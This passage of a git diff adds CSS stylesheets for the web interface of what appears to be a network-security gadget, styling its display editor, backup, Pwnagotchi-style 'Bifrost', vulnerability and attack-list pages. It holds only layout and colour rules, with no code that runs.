700; + font-size: 12px; + min-width: 20px; + color: var(--_muted); +} + +.epd-prop-input { + width: 60px; + padding: 4px 6px; + font-size: 12px; + color: var(--_ink); + background: var(--_panel-lo); + border: 1px solid var(--_border); + border-radius: 6px; + outline: none; + transition: .15s; +} + +.epd-prop-input:focus { + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--_acid2) 12%, transparent); +} + +.epd-delete-btn { + margin-top: 6px; + width: 100%; +} + +/* ── Sidebar: element list ────────────────────────────────── */ +.epd-elements-list { + flex: 1; + min-height: 0; +} + +.epd-elements-list h4 { + margin: 8px 0 4px; + font-size: 13px; +} + +.epd-elements-list .unified-list { + max-height: none; + overflow-y: auto; +} + +.epd-element-item { + display: flex; + align-items: center; + gap: 6px; + padding: 5px 8px; + margin-bottom: 2px; + cursor: pointer; + border-radius: 8px; + background: transparent; + border: 1px solid transparent; + transition: background .12s; + font-size: 12px; +} + +.epd-element-item:hover { + background: var(--_panel-lo); +} + +.epd-element-item.selected { + background: color-mix(in oklab, var(--_acid2) 12%, var(--_panel-hi)); + border-color: color-mix(in oklab, var(--_acid2) 25%, var(--_border)); +} + +.epd-type-dot { + width: 8px; + height: 8px; + border-radius: 50%; + flex: 0 0 auto; +} + +.epd-list-icon { + width: 16px; + height: 16px; + object-fit: contain; + image-rendering: pixelated; + border-radius: 2px; + flex: 0 0 auto; + background: #0b0e13; +} + +.epd-line-dash { + font-weight: 900; + opacity: .4; + min-width: 14px; + font-size: 11px; +} + +.epd-coords { + font-size: 10px; + opacity: .4; + font-family: monospace; + margin-left: auto; +} + +.epd-list-divider { + padding: 4px 8px; + font-size: 10px; + font-weight: 800; + text-transform: uppercase; + opacity: .4; + letter-spacing: .06em; + list-style: none; +} + +/* ── Sidebar: font sizes ──────────────────────────────────── */ +.epd-fonts-section { + border-top: 1px solid var(--_border); + padding-top: 6px; + margin-top: 6px; +} + +.epd-fonts-section h4 { + margin: 0 0 4px; + font-size: 13px; +} + +.epd-fonts-section .epd-prop-row label { + min-width: 80px; + font-size: 11px; +} + +.epd-meta-info { opacity: .4; font-size: 10px; } + +/* ── Add element modal ────────────────────────────────────── */ +.epd-add-modal { + display: none; + position: fixed; + inset: 0; + z-index: 1000; + padding: 10px; + background: rgba(0, 0, 0, .6); + justify-content: center; + align-items: center; +} + +.epd-add-modal .modal-content { + width: 100%; + max-width: 360px; + background: var(--_panel-hi); + padding: 18px; + border-radius: 12px; + border: 1px solid var(--_border); + box-shadow: var(--_shadow); +} + +.epd-add-modal .form-group { margin-bottom: 10px; } + +.epd-add-modal .form-group label { + display: block; + margin-bottom: 4px; + color: var(--_muted); + font-weight: 700; + font-size: 12px; +} + +.epd-add-modal .modal-footer { + display: flex; + justify-content: flex-end; + gap: 6px; + margin-top: 14px; +} + +/* ── Responsive: EPD ──────────────────────────────────────── */ +@media (max-width: 900px) { + .epd-content-row { + flex-direction: column; + } + + .epd-live-panel { + width: 100%; + max-width: 100%; + position: static; + } + + .epd-canvas-wrapper { + max-height: 65vh; + } +} + +@media (max-width: 480px) { + .epd-editor-toolbar { + gap: 3px; + padding: 6px; + } + + .epd-toolbar-row { gap: 4px; } + + .epd-editor-toolbar .select, + .epd-editor-toolbar .btn { + padding: 4px 7px; + font-size: 11px; + } + + .epd-zoom-range { width: 50px; } + .epd-canvas-wrapper { padding: 6px; max-height: 55vh; } + .epd-live-panel { padding: 6px; } +} diff --git a/web/css/pages/backup.css b/web/css/pages/backup.css new file mode 100644 index 0000000..1ffb2d6 --- /dev/null +++ b/web/css/pages/backup.css @@ -0,0 +1,274 @@ +/* ===== BACKUP PAGE (NEW SPA LAYOUT) ===== */ +.page-backup { + padding: 10px; +} + +.page-backup { + padding: 10px; +} + +.page-backup .backup-sidebar, +.page-backup .backup-main { + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); +} + +.page-backup .backup-sidebar { + padding: 12px; + display: grid; + align-content: start; + gap: 10px; +} + +.page-backup .backup-sidehead { + border-bottom: 1px dashed var(--c-border); + padding-bottom: 8px; +} + +.page-backup .backup-side-title { + margin: 0; + color: var(--acid); + font-size: 14px; + letter-spacing: .04em; + text-transform: uppercase; +} + +.page-backup .backup-nav-item { + width: 100%; + border: 1px solid var(--c-border); + border-radius: 12px; + background: color-mix(in oklab, var(--panel) 88%, transparent); + color: var(--ink); + display: flex; + align-items: center; + gap: 10px; + padding: 10px; + cursor: pointer; + transition: .18s; + text-align: left; +} + +.page-backup .backup-nav-item:hover { + transform: translateY(-1px); + box-shadow: var(--shadow); +} + +.page-backup .backup-nav-item.active { + border-color: color-mix(in oklab, var(--acid) 45%, var(--c-border)); + box-shadow: inset 0 0 0 1px color-mix(in oklab, var(--acid-2) 30%, transparent); +} + +.page-backup .backup-nav-icon { + width: 42px; + height: 42px; + object-fit: contain; + border-radius: 8px; + background: rgba(0, 0, 0, .2); +} + +.page-backup .backup-nav-label { + font-weight: 700; + letter-spacing: .01em; +} + +.page-backup .backup-main { + padding: 14px; + overflow: auto; +} + +.page-backup .backup-title { + margin: 0 0 12px 0; +} + +.page-backup .backup-form { + margin-bottom: 14px; +} + +.page-backup .backup-label { + display: block; + margin-bottom: 8px; + color: var(--muted); +} + +.page-backup .backup-form-row { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.page-backup .backup-input { + flex: 1; + min-width: 220px; + border: 1px solid var(--c-border); + border-radius: 10px; + background: var(--c-panel); + color: var(--ink); + padding: 10px 12px; +} + +.page-backup .backup-subtitle { + margin: 10px 0; + color: var(--muted); + font-size: 13px; + text-transform: uppercase; + letter-spacing: .03em; +} + +.page-backup .backup-table-wrap { + overflow: auto; + border: 1px solid var(--c-border); + border-radius: 12px; +} + +.page-backup .backup-table { + width: 100%; + border-collapse: collapse; +} + +.page-backup .backup-table th, +.page-backup .backup-table td { + padding: 10px; + border-bottom: 1px dashed var(--c-border); + text-align: left; + vertical-align: top; +} + +.page-backup .backup-row-actions { + display: flex; + gap: 6px; + flex-wrap: wrap; +} + +.page-backup .backup-default-pill { + margin-left: 8px; +} + +.page-backup .backup-empty { + padding: 22px; + text-align: center; + color: var(--muted); +} + +.page-backup .backup-update-message { + background: color-mix(in oklab, var(--ok) 18%, transparent); + border: 1px solid color-mix(in oklab, var(--ok) 40%, var(--c-border)); + border-radius: 999px; + padding: 10px 14px; + display: inline-block; + margin-bottom: 12px; +} + +.page-backup .backup-version-lines { + display: grid; + gap: 4px; +} + +.page-backup .backup-update-available { + color: var(--acid); + font-weight: 700; +} + +.page-backup .backup-update-ok { + color: var(--ok); + font-weight: 700; +} + +.page-backup .backup-update-actions { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.page-backup .backup-modal-overlay { + position: fixed; + inset: 0; + z-index: 1200; + background: rgba(0, 0, 0, .6); + display: none; + align-items: center; + justify-content: center; + padding: 10px; +} + +.page-backup .backup-modal { + width: min(480px, 95vw); + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 14px; + padding: 12px; + box-shadow: var(--shadow-hover); +} + +.page-backup .backup-modal-head { + display: flex; + align-items: center; + gap: 8px; + justify-content: space-between; +} + +.page-backup .backup-modal-title { + margin: 0; +} + +.page-backup .backup-modal-help { + color: var(--muted); + margin: 8px 0 10px 0; +} + +.page-backup .backup-keep { + display: flex; + gap: 8px; + align-items: center; + padding: 4px 0; +} + +.page-backup .backup-modal-actions { + display: flex; + justify-content: flex-end; + gap: 8px; + margin-top: 12px; + padding-top: 10px; + border-top: 1px dashed var(--c-border); +} + +.page-backup .backup-loading-overlay { + position: fixed; + inset: 0; + z-index: 1300; + background: rgba(0, 0, 0, .6); + display: none; + align-items: center; + justify-content: center; +} + +.page-backup .backup-spinner { + width: 52px; + height: 52px; + border: 4px solid transparent; + border-top-color: var(--accent-2); + border-right-color: var(--accent-2); + border-radius: 50%; + animation: bak-spin .9s linear infinite; +} + +/* Integrated layout provided by shared.css page-with-sidebar */ +.page-backup.page-with-sidebar { + --page-sidebar-w: 280px; + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 24px); +} + +.page-backup.page-with-sidebar .backup-sidebar { + padding: 12px; + display: flex; + flex-direction: column; + gap: 10px; +} + +.page-backup.page-with-sidebar .backup-main { + min-width: 0; + min-height: 0; + display: flex; + flex-direction: column; +} \ No newline at end of file diff --git a/web/css/pages/bifrost.css b/web/css/pages/bifrost.css new file mode 100644 index 0000000..1787e99 --- /dev/null +++ b/web/css/pages/bifrost.css @@ -0,0 +1,518 @@ +/* ============================================================ + Bifrost (Pwnagotchi Mode) — SPA page styles + ============================================================ */ + +.bifrost-page { + display: flex; + flex-direction: column; + height: 100%; + min-height: 0; + gap: 12px; + padding: 15px; +} + +/* ── Header bar ─────────────────────────────────────────── */ + +.bifrost-header { + display: flex; + justify-content: space-between; + align-items: center; + flex-shrink: 0; + flex-wrap: wrap; + gap: 10px; +} + +.bifrost-title { + margin: 0; + font-size: 1.3rem; + font-weight: 800; + color: var(--ink); + display: flex; + align-items: center; + gap: 8px; +} + +.bifrost-title-icon { font-size: 1.5rem; } + +.bifrost-controls { + display: flex; + gap: 8px; + align-items: center; +} + +.bifrost-btn { + display: flex; + align-items: center; + gap: 8px; + padding: 6px 14px; + border-radius: 8px; + border: 1px solid var(--c-border); + background: var(--c-panel); + font-size: 0.8rem; + font-weight: 700; + color: var(--ink); + cursor: pointer; + transition: 0.2s; +} + +.bifrost-btn.active { + border-color: var(--acid); + background: rgba(0, 255, 154, 0.08); + color: var(--acid); + box-shadow: 0 0 12px rgba(0, 255, 154, 0.15); +} + +.bifrost-btn .dot { + width: 8px; + height: 8px; + border-radius: 50%; + background: var(--muted-off, #555); + transition: 0.2s; +} + +.bifrost-btn.active .dot { + background: var(--acid); + box-shadow: 0 0 6px var(--acid); + animation: bifrost-pulse 2s infinite; +} + +@keyframes bifrost-pulse { + 0%, 100% { opacity: 0.7; box-shadow: 0 0 4px var(--acid); } + 50% { opacity: 1; box-shadow: 0 0 12px var(--acid); } +} + +/* ── Stats bar ──────────────────────────────────────────── */ + +.bifrost-stats { + display: flex; + gap: 10px; + flex-shrink: 0; + flex-wrap: wrap; +} + +.bifrost-stat { + flex: 1 1 100px; + padding: 10px 14px; + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 10px; + text-align: center; + min-width: 80px; +} + +.bifrost-stat-val { + font-size: 1.4rem; + font-weight: 800; + font-family: 'Fira Code', monospace; + color: var(--ink); + line-height: 1.2; +} + +.bifrost-stat-lbl { + font-size: 0.65rem; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 0.5px; + margin-top: 4px; +} + +/* ── Main grid ──────────────────────────────────────────── */ + +.bifrost-grid { + display: grid; + grid-template-columns: 1fr 340px; + gap: 12px; + flex: 1; + min-height: 0; +} + +/* ── Panels ─────────────────────────────────────────────── */ + +.bifrost-panel { + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 12px; + display: flex; + flex-direction: column; + overflow: hidden; + min-height: 0; +} + +.bifrost-panel-head { + padding: 10px 14px; + font-size: 0.72rem; + font-weight: 700; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 1px; + border-bottom: 1px solid var(--c-border); + background: rgba(0, 0, 0, 0.15); + flex-shrink: 0; + display: flex; + justify-content: space-between; + align-items: center; +} + +/* ── Face display ──────────────────────────────────────── */ + +.bifrost-live { + padding: 0; +} + +.bifrost-face-wrap { + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + padding: 30px 20px 16px; + gap: 8px; + flex-shrink: 0; +} + +.bifrost-face { + font-family: 'Fira Code', 'Courier New', monospace; + font-size: 2.8rem; + font-weight: 700; + color: var(--acid); + text-shadow: + 0 0 10px rgba(0, 255, 154, 0.4), + 0 0 30px rgba(0, 255, 154, 0.15); + text-align: center; + white-space: nowrap; + line-height: 1.2; + user-select: none; + transition: color 0.4s, text-shadow 0.4s; +} + +/* Mood-specific face colors */ +.bifrost-face.mood-excited { + color: #00ff9a; + text-shadow: 0 0 15px rgba(0, 255, 154, 0.6), 0 0 40px rgba(0, 255, 154, 0.25); +} +.bifrost-face.mood-happy { color: #00ff9a; } +.bifrost-face.mood-grateful { color: #00dcff; text-shadow: 0 0 10px rgba(0, 220, 255, 0.4); } +.bifrost-face.mood-bored { color: #ffd166; text-shadow: 0 0 10px rgba(255, 209, 102, 0.3); } +.bifrost-face.mood-sad { color: #7ba5c9; text-shadow: 0 0 10px rgba(123, 165, 201, 0.3); } +.bifrost-face.mood-angry { color: #ff3b3b; text-shadow: 0 0 10px rgba(255, 59, 59, 0.4); } +.bifrost-face.mood-lonely { color: #b48cff; text-shadow: 0 0 10px rgba(180, 140, 255, 0.3); } +.bifrost-face.mood-sleeping { color: var(--muted); text-shadow: none; } + +/* Mood badge */ +.bifrost-mood { + font-size: 0.72rem; + font-weight: 800; + text-transform: uppercase; + letter-spacing: 1px; + padding: 3px 12px; + border-radius: 20px; +} + +.mood-badge-excited { background: rgba(0,255,154,0.15); color: #00ff9a; } +.mood-badge-happy { background: rgba(0,255,154,0.12); color: #00ff9a; } +.mood-badge-grateful { background: rgba(0,220,255,0.15); color: #00dcff; } +.mood-badge-bored { background: rgba(255,209,102,0.15); color: #ffd166; } +.mood-badge-sad { background: rgba(123,165,201,0.15); color: #7ba5c9; } +.mood-badge-angry { background: rgba(255,59,59,0.15); color: #ff3b3b; } +.mood-badge-lonely { background: rgba(180,140,255,0.15); color: #b48cff; } +.mood-badge-sleeping { background: rgba(255,255,255,0.06); color: var(--muted); } +.mood-badge-starting { background: rgba(255,255,255,0.06); color: var(--muted); } +.mood-badge-ready { background: rgba(0,255,154,0.08); color: var(--acid); } + +.bifrost-voice { + font-size: 0.78rem; + color: var(--muted); + font-style: italic; + text-align: center; + max-width: 300px; + line-height: 1.4; + min-height: 1.4em; +} + +/* ── Info chips ────────────────────────────────────────── */ + +.bifrost-info-row { + display: flex; + gap: 6px; + flex-wrap: wrap; + justify-content: center; + padding: 8px 14px; + border-bottom: 1px solid var(--c-border); + flex-shrink: 0; +} + +.bifrost-info-chip { + display: inline-flex; + align-items: center; + gap: 4px; + padding: 2px 8px; + background: rgba(0,0,0,0.2); + border-radius: 6px; + font-size: 0.7rem; + font-family: 'Fira Code', monospace; +} + +.bifrost-info-chip.pwnd { + background: rgba(0,255,154,0.1); + border: 1px solid rgba(0,255,154,0.2); +} + +.bifrost-info-label { + color: var(--muted); + font-weight: 600; +} + +.bifrost-info-value { + color: var(--ink); + font-weight: 700; +} + +/* ── Activity feed ─────────────────────────────────────── */ + +.bifrost-activity { + flex: 1; + overflow-y: auto; + padding: 8px 12px; + display: flex; + flex-direction: column; + gap: 2px; +} + +.bifrost-activity-item { + display: flex; + align-items: baseline; + gap: 6px; + padding: 3px 0; + font-size: 0.73rem; + border-bottom: 1px solid rgba(255,255,255,0.03); +} + +.bifrost-act-time { + color: var(--muted); + font-family: 'Fira Code', monospace; + font-size: 0.65rem; + flex-shrink: 0; + min-width: 28px; +} + +.bifrost-act-icon { + flex-shrink: 0; + font-size: 0.75rem; +} + +.bifrost-act-title { + color: var(--ink); + font-weight: 600; +} + +.bifrost-act-detail { + color: var(--muted); + font-size: 0.68rem; + flex: 1; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.bifrost-empty { + color: var(--muted); + text-align: center; + padding: 30px 10px; + font-size: 0.8rem; +} + +/* ── Sidebar tabs ──────────────────────────────────────── */ + +.bifrost-side-tabs { + display: flex; + gap: 2px; + padding: 6px; + background: rgba(0, 0, 0, 0.15); + border-bottom: 1px solid var(--c-border); + flex-shrink: 0; +} + +.bifrost-side-tab { + flex: 1; + padding: 5px 8px; + border: none; + border-radius: 6px; + background: transparent; + color: var(--muted); + font-size: 0.7rem; + font-weight: 700; + cursor: pointer; + transition: 0.15s; +} + +.bifrost-side-tab.active { + background: var(--c-panel); + color: var(--acid); +} + +.bifrost-sidebar { + flex: 1; + overflow-y: auto; + padding: 8px; + display: flex; + flex-direction: column; + gap: 4px; +} + +/* ── Network rows ──────────────────────────────────────── */ + +.bifrost-net-row { + padding: 6px 10px; + border-radius: 6px; + border: 1px solid var(--c-border); + background: color-mix(in oklab, var(--c-panel) 60%, transparent); +} + +.bifrost-net-main { + display: flex; + align-items: center; + gap: 8px; +} + +.bifrost-net-signal { + font-size: 0.65rem; + color: var(--acid); + letter-spacing: -1px; + flex-shrink: 0; + min-width: 32px; +} + +.bifrost-net-essid { + font-size: 0.78rem; + font-weight: 700; + color: var(--ink); + flex: 1; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.bifrost-net-enc { + font-size: 0.58rem; + font-weight: 800; + text-transform: uppercase; + padding: 1px 5px; + border-radius: 3px; + letter-spacing: 0.5px; + flex-shrink: 0; + background: rgba(0,220,255,0.12); + color: #00dcff; +} + +.bifrost-net-meta { + font-size: 0.62rem; + color: var(--muted); + margin-top: 2px; + font-family: 'Fira Code', monospace; +} + +/* ── Plugin rows ───────────────────────────────────────── */ + +.bifrost-plugin-row { + display: flex; + justify-content: space-between; + align-items: center; + gap: 8px; + padding: 6px 10px; + border-radius: 6px; + border: 1px solid var(--c-border); + background: color-mix(in oklab, var(--c-panel) 60%, transparent); +} + +.bifrost-plugin-info { + flex: 1; + min-width: 0; +} + +.bifrost-plugin-name { + font-size: 0.78rem; + font-weight: 700; + color: var(--ink); + display: block; +} + +.bifrost-plugin-desc { + font-size: 0.65rem; + color: var(--muted); + display: block; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +/* ── Epoch table ───────────────────────────────────────── */ + +.bifrost-epoch-table { + display: flex; + flex-direction: column; + gap: 1px; + font-size: 0.72rem; + font-family: 'Fira Code', monospace; +} + +.bifrost-epoch-header, +.bifrost-epoch-row { + display: grid; + grid-template-columns: 40px 35px 35px 35px 1fr 50px; + gap: 4px; + padding: 4px 8px; + align-items: center; +} + +.bifrost-epoch-header { + font-weight: 800; + color: var(--muted); + text-transform: uppercase; + font-size: 0.6rem; + border-bottom: 1px solid var(--c-border); + position: sticky; + top: 0; + background: var(--c-panel); + z-index: 1; +} + +.bifrost-epoch-row { + border-bottom: 1px solid rgba(255,255,255,0.03); + color: var(--ink); +} + +.bifrost-epoch-row:hover { + background: rgba(255,255,255,0.03); +} + +/* ── Responsive ────────────────────────────────────────── */ + +@media (max-width: 900px) { + .bifrost-grid { + grid-template-columns: 1fr; + } + + .bifrost-stats { + flex-wrap: wrap; + } + + .bifrost-stat { + flex: 1 1 70px; + min-width: 60px; + padding: 8px 8px; + } + + .bifrost-stat-val { font-size: 1.1rem; } + + .bifrost-page { + padding: 10px; + gap: 8px; + } + + .bifrost-header { + flex-direction: column; + align-items: flex-start; + } + + .bifrost-face { font-size: 2rem; } + .bifrost-face-wrap { padding: 20px 12px 12px; } +} diff --git a/web/css/pages/bjorn.css b/web/css/pages/bjorn.css new file mode 100644 index 0000000..e6e1f81 --- /dev/null +++ b/web/css/pages/bjorn.css @@ -0,0 +1,33 @@ +/* ========================================================================== + BJORN + ========================================================================== */ +.bjorn-container .image-container { + display: flex; + justify-content: center; + align-items: center; + height: calc(100vh - 70px); +} + +.bjorn-container .image-container img { + max-height: 100%; + max-width: 100%; + height: -webkit-fill-available; + cursor: pointer; + transition: transform 0.2s ease-in-out; +} + +.bjorn-container .image-container img:active { + transform: scale(1.05); +} + +.bjorn-container .image-container.fullscreen img { + height: 100vh; + width: auto; +} + +@media (max-width:768px) { + .bjorn-container .image-container { + height: calc(100vh - 60px); + } +} + diff --git a/web/css/pages/compat.css b/web/css/pages/compat.css new file mode 100644 index 0000000..8f82654 --- /dev/null +++ b/web/css/pages/compat.css @@ -0,0 +1,1814 @@ +/* ========================================================================== + SPA runtime compatibility (module class names) + Keeps old visual language while matching current JS markup. + ========================================================================== */ + +/* ---- Vulnerabilities module aliases ---- */ +.vuln-container .stats-bar { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); + gap: var(--gap-4); + margin-bottom: var(--gap-3); +} + +.vuln-container .stats-bar .stat-item { + background: var(--grad-card); + border-radius: var(--radius); + padding: var(--gap-4); + text-align: center; + border: 1px solid var(--c-border); + box-shadow: var(--elev); + display: grid; + gap: 6px; + justify-items: center; +} + +.vuln-container .stats-bar .stat-value { + font-size: 28px; + font-weight: 800; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.vuln-container .vuln-controls { + background: var(--grad-card); + border-radius: var(--radius); + padding: var(--gap-4); + margin-bottom: var(--gap-3); + display: flex; + flex-wrap: wrap; + gap: var(--gap-3); + align-items: center; + border: 1px solid var(--c-border); + box-shadow: var(--elev); +} + +.vuln-container .vuln-buttons { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.vuln-container .global-search-container { + flex: 1; + min-width: 220px; + position: relative; +} + +.vuln-container .global-search-input { + width: 100%; + height: var(--control-h); + padding: 0 36px 0 var(--control-pad-x); + border: 1px solid var(--c-border-strong); + border-radius: var(--control-r); + background: var(--c-panel); + color: var(--ink); +} + +.vuln-container .global-search-input:focus { + outline: none; + border-color: var(--accent); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--accent) 28%, transparent); +} + +.vuln-container .clear-global-button { + position: absolute; + right: 8px; + top: 50%; + transform: translateY(-50%); + border: none; + background: none; + color: var(--danger); + cursor: pointer; + display: none; +} + +.vuln-container .clear-global-button.show { + display: inline-block; +} + +.vuln-container .vuln-btn { + border: 1px solid var(--c-border); + background: var(--c-panel); + color: var(--ink); + border-radius: var(--control-r); + padding: 8px 12px; + cursor: pointer; +} + +.vuln-container .vuln-btn.active { + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + border-color: var(--accent); + color: var(--white); +} + +.vuln-container .vuln-severity-bar { + display: flex; + gap: var(--gap-2); + flex-wrap: wrap; + margin-bottom: var(--gap-3); +} + +.vuln-container .vuln-severity-btn { + border: 1px solid var(--c-border); + background: var(--c-panel); + color: var(--ink); + border-radius: 999px; + padding: 5px 12px; + font-weight: 700; + cursor: pointer; +} + +.vuln-container .vuln-severity-btn.active { + box-shadow: 0 0 0 1px var(--c-border-hi) inset; +} + +.vuln-container .vuln-severity-btn.severity-critical.active { + background: var(--danger); + border-color: var(--danger); + color: var(--white); +} + +.vuln-container .vuln-severity-btn.severity-high.active { + background: var(--warning); + border-color: var(--warning); + color: var(--ink-invert); +} + +.vuln-container .vuln-severity-btn.severity-medium.active { + background: var(--accent-2); + border-color: var(--accent-2); + color: var(--ink-invert); +} + +.vuln-container .vuln-severity-btn.severity-low.active { + background: var(--ok); + border-color: var(--ok); + color: var(--ink-invert); +} + +.vuln-container .services-grid { + display: grid; + gap: var(--gap-4); + max-height: calc(100vh - 250px); + overflow-y: auto; +} + +.vuln-container .vuln-card-header { + padding: var(--gap-4); + background: var(--grad-quickpanel); + display: flex; + justify-content: space-between; + align-items: center; + gap: 10px; + cursor: pointer; + user-select: none; + border-bottom: 1px solid var(--c-border); +} + +.vuln-container .vuln-card-title { + display: flex; + align-items: center; + gap: var(--gap-3); + flex-wrap: wrap; + flex: 1; +} + +.vuln-container .collapse-indicator { + color: var(--muted); + transition: transform .3s ease; + font-size: 18px; +} + +.vuln-container .vuln-card.expanded .collapse-indicator { + transform: rotate(180deg); +} + +.vuln-container .vuln-content { + max-height: 0; + overflow: hidden; + transition: max-height .3s ease-out; +} + +.vuln-container .vuln-card.expanded .vuln-content { + max-height: 2400px; +} + +.vuln-container .vuln-detail-section { + margin-bottom: var(--gap-4); + padding: 0 var(--gap-4); +} + +.vuln-container .detail-text { + color: var(--ink); + font-size: 14px; + line-height: 1.5; +} + +.vuln-container .vuln-tag { + padding: 2px 8px; + border-radius: 999px; + font-size: 10px; + font-weight: 800; + text-transform: uppercase; + letter-spacing: .3px; + border: 1px solid var(--c-border); + background: var(--c-chip-bg); +} + +.vuln-container .vuln-tag.remediated { + background: color-mix(in oklab, var(--ok) 18%, var(--c-chip-bg)); + border-color: color-mix(in oklab, var(--ok) 40%, var(--c-border)); +} + +.vuln-container .vuln-tag.kev { + background: color-mix(in oklab, var(--danger) 18%, var(--c-chip-bg)); + border-color: color-mix(in oklab, var(--danger) 40%, var(--c-border)); +} + +.vuln-container .vuln-tag.exploit { + background: color-mix(in oklab, #9c27b0 18%, var(--c-chip-bg)); + border-color: color-mix(in oklab, #9c27b0 40%, var(--c-border)); +} + +.vuln-container .vuln-tag.epss { + background: color-mix(in oklab, var(--warning) 18%, var(--c-chip-bg)); + border-color: color-mix(in oklab, var(--warning) 40%, var(--c-border)); +} + +.vuln-container .vuln-pagination { + display: flex; + justify-content: center; + align-items: center; + gap: 8px; + margin-top: var(--gap-4); + padding: var(--gap-3); + flex-wrap: wrap; +} + +.vuln-container .vuln-page-btn { + border: 1px solid var(--c-border); + background: var(--c-panel); + color: var(--ink); + border-radius: 10px; + padding: 6px 10px; + cursor: pointer; +} + +.vuln-container .vuln-page-btn.active { + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + border-color: var(--accent); + color: var(--white); +} + +.vuln-container .vuln-page-btn.disabled { + opacity: .5; + cursor: not-allowed; +} + +.vuln-container .vuln-page-info { + color: var(--muted); + font-size: 13px; +} + +.vuln-container .vuln-modal { + display: none; + position: fixed; + inset: 0; + background: var(--glass-8); + z-index: 1000; +} + +.vuln-container .vuln-modal.show { + display: flex; + align-items: center; + justify-content: center; +} + +.vuln-container .vuln-modal-content { + background: var(--grad-modal); + border-radius: var(--radius); + max-width: 800px; + width: 90%; + max-height: 80vh; + overflow-y: auto; + border: 1px solid var(--c-border-strong); + box-shadow: var(--shadow-hover); +} + +.vuln-container .vuln-modal-header { + padding: var(--gap-4); + border-bottom: 1px solid var(--c-border); + display: flex; + justify-content: space-between; + align-items: center; + position: sticky; + top: 0; + background: var(--grad-quickpanel); + z-index: 1; +} + +.vuln-container .vuln-modal-title { + font-size: 18px; + font-weight: 800; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.vuln-container .vuln-modal-close { + background: none; + border: none; + color: var(--muted); + font-size: 24px; + cursor: pointer; +} + +.vuln-container .vuln-modal-body { + padding: var(--gap-4); +} + +/* ---- Attacks module aliases ---- */ +.attacks-container { + display: flex; + gap: 20px; + min-height: calc(100vh - var(--h-topbar) - var(--h-bottombar) - 8px); + align-items: stretch; + --page-sidebar-w: 320px; +} + +.attacks-container .attacks-sidebar { + width: var(--page-sidebar-w); + flex: 0 0 var(--page-sidebar-w); + min-width: 0; + min-height: 100%; + display: flex; + flex-direction: column; + gap: 0; + padding: 0; + overflow: hidden; +} + +.attacks-container .attacks-main { + width: auto; + flex: 1; + min-width: 0; + display: grid; + grid-template-rows: minmax(320px, auto) 1fr; + gap: 10px; + min-height: 0; + border: 1px solid var(--_border); + border-radius: 14px; + background: var(--grad-card); + box-shadow: var(--_shadow); + padding: 10px; +} + +.attacks-container .attacks-main .page-content { + height: 100%; + overflow: auto; +} + +.attacks-container .attacks-search-input { + width: 100%; + padding: 10px 12px; + border-radius: 10px; + border: 1px solid var(--_border); + background: var(--_panel-lo); + color: var(--_ink); +} + +.attacks-container .attacks-categories { + display: flex; + flex-wrap: wrap; + gap: 8px; +} + +.attacks-container .attacks-cat-pill { + border: 1px solid var(--_border); + background: var(--_panel-lo); + color: var(--_ink); + border-radius: 999px; + padding: 6px 10px; + cursor: pointer; + font-weight: 700; + display: inline-flex; + align-items: center; + gap: 6px; +} + +.attacks-container .attacks-cat-pill.active { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 12%, transparent)); + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); +} + +.attacks-container .attacks-cat-pill .pill-count { + opacity: .8; + font-size: 12px; +} + +.attacks-container .attacks-list { + overflow: auto; + min-height: 0; + display: grid; + gap: 8px; +} + +.attacks-container .action-card { + display: grid; + grid-template-columns: auto 1fr auto; + gap: 10px; + align-items: center; + border: 1px solid var(--_border); + background: var(--_panel-lo); + border-radius: 12px; + padding: 8px; + cursor: pointer; + transition: .2s; +} + +.attacks-container .action-card:hover { + transform: translateY(-1px); + box-shadow: var(--_shadow); + background: var(--_panel-hi); +} + +.attacks-container .action-card.selected { + background: color-mix(in oklab, var(--_acid2) 16%, var(--_panel-hi)); + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); +} + +.attacks-container .action-card-img { + width: 56px; + height: 56px; + border-radius: 10px; + overflow: hidden; + border: 1px solid var(--_border); + background: #0b0e13; + display: grid; + place-items: center; +} + +.attacks-container .action-card-icon { + width: 100%; + height: 100%; + object-fit: cover; +} + +.attacks-container .action-card-name { + font-weight: 800; + color: var(--_ink); +} + +.attacks-container .action-card-desc { + font-size: 12px; + color: var(--_muted); +} + +.attacks-container .action-card-status { + font-size: 11px; + font-weight: 800; + border-radius: 999px; + padding: 3px 8px; + border: 1px solid var(--_border); +} + +.attacks-container .action-card-status.status-running { + background: color-mix(in oklab, var(--warning) 18%, var(--_panel)); + border-color: color-mix(in oklab, var(--warning) 40%, var(--_border)); +} + +.attacks-container .action-card-status.status-ok { + background: color-mix(in oklab, var(--ok) 18%, var(--_panel)); + border-color: color-mix(in oklab, var(--ok) 40%, var(--_border)); +} + +.attacks-container .action-card-status.status-err { + background: color-mix(in oklab, var(--danger) 18%, var(--_panel)); + border-color: color-mix(in oklab, var(--danger) 40%, var(--_border)); +} + +.attacks-container .attacks-detail { + overflow: auto; +} + +.attacks-container .detail-top { + display: grid; + gap: 8px; + margin-bottom: 10px; +} + +.attacks-container 